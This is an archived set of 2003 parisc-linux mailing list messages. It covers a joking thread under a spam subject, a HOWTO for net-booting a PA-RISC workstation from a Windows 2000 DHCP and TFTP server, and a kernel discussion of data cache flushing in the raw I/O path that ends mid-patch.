List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19589

On Wednesday 24 September 2003 10:12 pm, Ned Darling wrote:
 - - - snipped - - -
Folks,
Will this be a system function incorporated in the 2.6 kernel?
Mike


From - Thu Nov 08 21:29:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] get laid guaranteed! lshnpevxpkfj
Date: Wed, 24 Sep 2003 20:14:07 +0100
Lines: 10
Approved: news@gmane.org
Message-ID: <20030924191407.GM13172@parcelfarce.linux.theplanet.co.uk>
References: <7y448$$cv$tv96i@3j25b2> <03092413592001.01490@wolf686>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622801 31437 80.91.229.3 (22 Nov 2014 02:20:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:01 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: "Michael S. Zick" <mszick@goquest.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep 24 13:14:09 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1579448AA
	for <parisc-linux@parisc-linux.org>; Wed, 24 Sep 2003 13:14:09 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1A2F5T-0006zU-Li; Wed, 24 Sep 2003 20:14:07 +0100
Content-Disposition: inline
In-Reply-To: <03092413592001.01490@wolf686>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19590

On Wed, Sep 24, 2003 at 01:59:20PM -0500, Michael S. Zick wrote:
> Will this be a system function incorporated in the 2.6 kernel?

no, you're going to have to go outside.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:29:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael S.Zick <mszick@goquest.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] get laid guaranteed! lshnpevxpkfj
Date: Wed, 24 Sep 2003 14:15:48 -0500
Lines: 7
Approved: news@gmane.org
Message-ID: <03092414154803.01490@wolf686>
References: <7y448$$cv$tv96i@3j25b2> <03092413592001.01490@wolf686> <20030924191407.GM13172@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416622802 31468 80.91.229.3 (22 Nov 2014 02:20:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:02 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep 24 13:21:49 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.goquest.com (ns1.goquest.com [12.18.108.6])
	by dsl2.external.hp.com (Postfix) with SMTP id 71B0D48AC
	for <parisc-linux@parisc-linux.org>; Wed, 24 Sep 2003 13:21:49 -0600 (MDT)
Original-Received: (qmail 1558 invoked by uid 497); 24 Sep 2003 19:21:39 -0000
Original-Received: from mszick@goquest.com by mail.goquest.com by uid 502 with qmail-scanner-1.20rc3 
 (clamscan: 0.60. spamassassin: 2.55.  Clear:RC:1:SA:0(-3.9/6.5):. 
 Processed in 1.74414 secs); 24 Sep 2003 19:21:39 -0000
X-Spam-Status: No, hits=-3.9 required=6.5
Original-Received: from unknown (HELO wolf686) (66.90.211.119)
  by mail.goquest.com with SMTP; 24 Sep 2003 19:21:37 -0000
X-Mailer: KMail [version 1.2]
In-Reply-To: <20030924191407.GM13172@parcelfarce.linux.theplanet.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19591

On Wednesday 24 September 2003 02:14 pm, Matthew Wilcox wrote:
> On Wed, Sep 24, 2003 at 01:59:20PM -0500, Michael S. Zick wrote:
> > Will this be a system function incorporated in the 2.6 kernel?
>
> no, you're going to have to go outside.
Not even as an optional, plug-in module?


From - Thu Nov 08 21:29:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] get laid guaranteed! lshnpevxpkfj
Date: Thu, 25 Sep 2003 00:17:58 +0100
Lines: 15
Approved: news@gmane.org
Message-ID: <1064445477.14798.8.camel@dhcp23.swansea.linux.org.uk>
References: <7y448$$cv$tv96i@3j25b2> <03092413592001.01490@wolf686>
	 <20030924191407.GM13172@parcelfarce.linux.theplanet.co.uk>
	 <03092414154803.01490@wolf686>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622802 31480 80.91.229.3 (22 Nov 2014 02:20:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:02 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	HPPA List <parisc-linux@parisc-linux.org>
To: "Michael S.Zick" <mszick@goquest.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep 24 17:19:48 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from dhcp23.swansea.linux.org.uk (cpc1-cwma1-5-0-cust4.swan.cable.ntl.com [80.5.120.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id C6D984879
	for <parisc-linux@parisc-linux.org>; Wed, 24 Sep 2003 17:19:47 -0600 (MDT)
Original-Received: from dhcp23.swansea.linux.org.uk (localhost.localdomain [127.0.0.1])
	by dhcp23.swansea.linux.org.uk (8.12.10/8.12.10) with ESMTP id h8ONI0mr014852;
	Thu, 25 Sep 2003 00:18:06 +0100
Original-Received: (from alan@localhost)
	by dhcp23.swansea.linux.org.uk (8.12.10/8.12.10/Submit) id h8ONHwMn014850;
	Thu, 25 Sep 2003 00:17:58 +0100
X-Authentication-Warning: dhcp23.swansea.linux.org.uk: alan set sender to alan@lxorguk.ukuu.org.uk using -f
In-Reply-To: <03092414154803.01490@wolf686>
X-Mailer: Ximian Evolution 1.4.4 (1.4.4-7) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19592

On Mer, 2003-09-24 at 20:15, Michael S.Zick wrote:
> On Wednesday 24 September 2003 02:14 pm, Matthew Wilcox wrote:
> > On Wed, Sep 24, 2003 at 01:59:20PM -0500, Michael S. Zick wrote:
> > > Will this be a system function incorporated in the 2.6 kernel?
> >
> > no, you're going to have to go outside.
> Not even as an optional, plug-in module?

Not for this system as it lacks USB

http://www.sleeplessknights.com/Pages/ipix.html

(The movies are a hoot)



From - Thu Nov 08 21:29:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Win2k server boot howto
Date: Wed, 24 Sep 2003 22:08:05 -0600
Lines: 101
Approved: news@gmane.org
Message-ID: <20030925040805.GA28170__34101.5179678381$1416622802$gmane$org@dsl2.external.hp.com>
References: <010d01c36e5d$9d0748a0$0201a8c0@mainframe> <Pine.LNX.4.50.0308291612160.11075-100000@ssh.apptechsys.com> <20030830021622.GF13467@parcelfarce.linux.theplanet.co.uk> <Pine.LNX.4.50.0309121543430.11075-100000@ssh.apptechsys.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622802 31485 80.91.229.3 (22 Nov 2014 02:20:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:02 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
To: Jeremy Drake <jeremyd@apptechsys.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep 24 22:08:05 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id A4BF8488A; Wed, 24 Sep 2003 22:08:05 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.50.0309121543430.11075-100000@ssh.apptechsys.com>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19593

On Fri, Sep 12, 2003 at 04:43:28PM -0700, Jeremy Drake wrote:
> This is about using the dhcp server in win2k server to net boot a parisc 
> box.

Jeremy,
Thanks again for the first version.
I've reformatted and rewrote bits of it.
Things with [ ] around them mean a step or info is missing.
Can you please review if any additional steps are missing and
fill in missing bits you know about?

Anyone else know if tftpf32 can be run as a service under win2k?

I'll add HTML markup when I'm ready to link it into our FAQ.

thanks,
grant

------------------------ HOWTO.win2k_bootp -------------------

Get the MAC address from the PARISC workstation
-----------------------------------------------
o Power on the box
o stop the auto boot when "press any key to stop boot" is printed
o At the BOOT_ADMIN> prompt, type "in la" and hit enter. 
o record the printed hex number (your workstation's MAC address).
o leave the workstation power on...get back to it in a bit.

[ How/Where to get a lifimage? Needed below ]


Enable DHCP server in Win2k
---------------------------
o Start DHCP server:
	Control Panel, Add/remove programs, Windows components,
   	Networking Services, Dynamic Host Configuration Protocol (DHCP)

o Start up the DHCP admin tool:
	Start, Settings, Control Panel, Admin Tools, DHCP

o Expand [ double click? ] your server in the tree
o right click on Reservations.
o Select "New Reservation..."
o For reservation name, I put my workstation's host name.
o enter an unused IP address
o enter the PARISC workstation's mac address (no delimiters,
  just the hex number).
o select "Both" for whether it should be bootp or dhcp.
[ o click "Ok" to close this window? ]

o Find your new reservation at the bottom of the list under Reservations
  and click it.
o right click "Configure Options..."
  It should have inherited your server's default options, so I won't
  cover setting router, dns, wins, and lease length.

o Scroll down the list of options to 066 "Boot Server Host Name".
  Check the box next to option 066.  Enter your tftp server's ip address
  (I don't trust DNS to work in IPL).

o check option 067 "Bootfile Name" and enter the name of the lifimage.
  Generally, "lifimage" is a good choice here.

o click "ok" and dhcp server is ready!


Enable Tftpd on Win2k Server
----------------------------
o Get Tftpd from http://tftpd32.jounin.net/
o start tftpd32 [.exe?]
o click the "browse" button
o Browse to where you put your lifimage, highlight it and click ok.

o Make sure the IP address below the directory is the right one.
  If not, drop down the list and pick the right one.
  [which IP? client or dhcpd server?]

o Leave tftpd32 running. The tftp server only runs when the gui is displayed.
  [ Can tftpd32 can be run as a service? How? Help page on jounin.net? ]


Net Boot the PARISC Workstation
-------------------------------
o Get the "BOOT_ADMIN>" prompt again
o Type "sea lan" (for search). If everything is correct, you should
  see something like:
  	P0 LAN.<BLAH>
	
o type "bo p0" to start the parisc-linux boot process.
  Palo output should be the next thing to show up on the console.

o If "P0 LAN" doesn't show up, check:
	+ settings on the DHCP server.
	  eg. verify the PARISC MAC address is correct,
	+ your dhcp server is on the same physical network segment as
	  the PARISC workstation.
	+ "Link" light on PARISC workstation and Win2K server
	  LAN port is lit.
  
The HOWTO PARISC install [URL?] howto will be helpful from this point.


From - Thu Nov 08 21:29:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Santosh Abraham" <santosha@india.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Fwd:  Problems with raw interface.
Date: Thu, 25 Sep 2003 16:08:55 +0530
Lines: 25
Approved: news@gmane.org
Message-ID: <000701c38351$3907ada0$e5624c0f@india.hp.com>
Reply-To: <santosh.abraham@hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622803 31487 80.91.229.3 (22 Nov 2014 02:20:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:03 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep 25 04:38:59 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from palrel13.hp.com (palrel13.hp.com [156.153.255.238])
	by dsl2.external.hp.com (Postfix) with ESMTP id D8F264891
	for <parisc-linux@lists.parisc-linux.org>; Thu, 25 Sep 2003 04:38:59 -0600 (MDT)
Original-Received: from redsea.india.hp.com (redsea.india.hp.com [15.76.97.3])
	by palrel13.hp.com (Postfix) with ESMTP id 7D54D1C0148D
	for <parisc-linux@lists.parisc-linux.org>; Thu, 25 Sep 2003 03:38:58 -0700 (PDT)
Original-Received: from eb98229 (eb98229.india.hp.com [15.76.98.229])
	by redsea.india.hp.com (8.9.3 (PHNE_28810)/8.9.3 SMKit7.02) with SMTP id QAA14604
	for <parisc-linux@lists.parisc-linux.org>; Thu, 25 Sep 2003 16:17:42 +0530 (IST)
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19594

The problem seems to be with the flush_dcache_page () routine in
asm-parisc/pgalloc.h.  The routine does not handle the case when
page->mapping == NULL.  It simply ends up calling __flush_dcache_page ()
which only flushes out the cache lines corresponding to the kernel VA.

The cache lines corresponding to the user VA remain unaffected.  In order
for
the user cache lines to be flushed a call to flush_cache_page () or
flush_user_dcache_range ()
must be made.

In order to do this the flush_dcache_page () interface may need to be
modified to take in a user VA as an argument.

If this is not feasible we could as a hack check for page->mapping == NULL
in flush_dcache_page () and call flush_data_cache().  This would be very
expensive.

Also, does'nt __flush_dcache_page () need to have a for loop for "i_mmap"
similar to the one for "i_mmap_shared" ?

thanks,
santosh.



From - Thu Nov 08 21:29:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Fwd:  Problems with raw interface.
Date: Thu, 25 Sep 2003 03:50:05 -0700
Lines: 21
Approved: news@gmane.org
Message-ID: <20030925105005.GX16872@tausq.org>
References: <000701c38351$3907ada0$e5624c0f@india.hp.com>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622803 31493 80.91.229.3 (22 Nov 2014 02:20:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:03 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: santosh.abraham@hp.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep 25 04:49:03 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id DA34848A1
	for <parisc-linux@lists.parisc-linux.org>; Thu, 25 Sep 2003 04:49:02 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id E78E8CD2F8; Thu, 25 Sep 2003 03:50:05 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <000701c38351$3907ada0$e5624c0f@india.hp.com>
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19595

> Also, does'nt __flush_dcache_page () need to have a for loop for "i_mmap"
> similar to the one for "i_mmap_shared" ?
> 

no, this was discussed recently on this list.

see jejb's message:
http://lists.parisc-linux.org/pipermail/parisc-linux/2003-August/020791.html

and the corresponding thread for more info.

i thought flush_dcache_page is for making kernel mapping visible to
user, if you are trying to make user data visible to the kernel, you
should not be relying on flush_dcache_page.

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:29:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Santosh Abraham" <santosha@india.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Fwd:  Problems with raw interface.
Date: Thu, 25 Sep 2003 16:49:21 +0530
Lines: 39
Approved: news@gmane.org
Message-ID: <000801c38356$dea5cda0$e5624c0f@india.hp.com>
References: <20030925105005.GX16872@tausq.org>
Reply-To: <santosh.abraham@hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622803 31500 80.91.229.3 (22 Nov 2014 02:20:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:03 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: "'Randolph Chung'" <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep 25 05:19:25 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from palrel10.hp.com (palrel10.hp.com [156.153.255.245])
	by dsl2.external.hp.com (Postfix) with ESMTP id A76ED48A0
	for <parisc-linux@lists.parisc-linux.org>; Thu, 25 Sep 2003 05:19:25 -0600 (MDT)
Original-Received: from redsea.india.hp.com (redsea.india.hp.com [15.76.97.3])
	by palrel10.hp.com (Postfix) with ESMTP
	id B69041C02A15; Thu, 25 Sep 2003 04:19:23 -0700 (PDT)
Original-Received: from eb98229 (eb98229.india.hp.com [15.76.98.229])
	by redsea.india.hp.com (8.9.3 (PHNE_28810)/8.9.3 SMKit7.02) with SMTP id QAA17729;
	Thu, 25 Sep 2003 16:58:08 +0530 (IST)
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165
In-Reply-To: <20030925105005.GX16872@tausq.org>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19596

hmm.. why is map_user_kiobuf () calling flush_dcache_page () then ?
should it not be calling flush_cache_{range,page} ?

map_user_kiobuf () called from the raw I/O path should ,in the
write case, be flushing user data out, so that its visible to
the kernel VA.
This is not being done in flush_dcache_page () when page->mapping is
NULL.

-----Original Message-----
From: Randolph Chung [mailto:randolph@tausq.org]
Sent: Thursday, September 25, 2003 4:20 PM
To: santosh.abraham@hp.com
Cc: parisc-linux@lists.parisc-linux.org
Subject: Re: [parisc-linux] Fwd: Problems with raw interface.


> Also, does'nt __flush_dcache_page () need to have a for loop for "i_mmap"
> similar to the one for "i_mmap_shared" ?
>

no, this was discussed recently on this list.

see jejb's message:
http://lists.parisc-linux.org/pipermail/parisc-linux/2003-August/020791.html

and the corresponding thread for more info.

i thought flush_dcache_page is for making kernel mapping visible to
user, if you are trying to make user data visible to the kernel, you
should not be relying on flush_dcache_page.

randolph
--
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/



From - Thu Nov 08 21:29:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Fwd:  Problems with raw interface.
Date: Thu, 25 Sep 2003 15:26:23 +0100
Lines: 45
Approved: news@gmane.org
Message-ID: <20030925142623.GO13172@parcelfarce.linux.theplanet.co.uk>
References: <20030925105005.GX16872@tausq.org> <000801c38356$dea5cda0$e5624c0f@india.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622804 31504 80.91.229.3 (22 Nov 2014 02:20:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:04 +0000 (UTC)
Cc: 'Randolph Chung' <randolph@tausq.org>,
	parisc-linux@lists.parisc-linux.org,
	"Stephen C. Tweedie" <sct@redhat.com>,
	"David S. Miller" <davem@redhat.com>
To: santosh.abraham@hp.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep 25 08:26:25 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7712948A5
	for <parisc-linux@lists.parisc-linux.org>; Thu, 25 Sep 2003 08:26:25 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1A2X4Z-0000yP-9A; Thu, 25 Sep 2003 15:26:23 +0100
Content-Disposition: inline
In-Reply-To: <000801c38356$dea5cda0$e5624c0f@india.hp.com>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19597

On Thu, Sep 25, 2003 at 04:49:21PM +0530, Santosh Abraham wrote:
> 
> hmm.. why is map_user_kiobuf () calling flush_dcache_page () then ?
> should it not be calling flush_cache_{range,page} ?
> 
> map_user_kiobuf () called from the raw I/O path should ,in the
> write case, be flushing user data out, so that its visible to
> the kernel VA.

I think you're right.  flush_dcache_page is for page cache pages, not for
random user addresses.  Would something like this make sense?

Index: mm/memory.c
===================================================================
RCS file: /var/cvs/linux-2.4/mm/memory.c,v
retrieving revision 1.24
diff -u -p -r1.24 memory.c
--- linux-2.4/mm/memory.c 29 Nov 2002 02:21:13 -0000      1.24
+++ linux-2.4/mm/memory.c 25 Sep 2003 14:22:42 -0000
@@ -569,12 +569,7 @@ int map_user_kiobuf(int rw, struct kiobu
                return err;
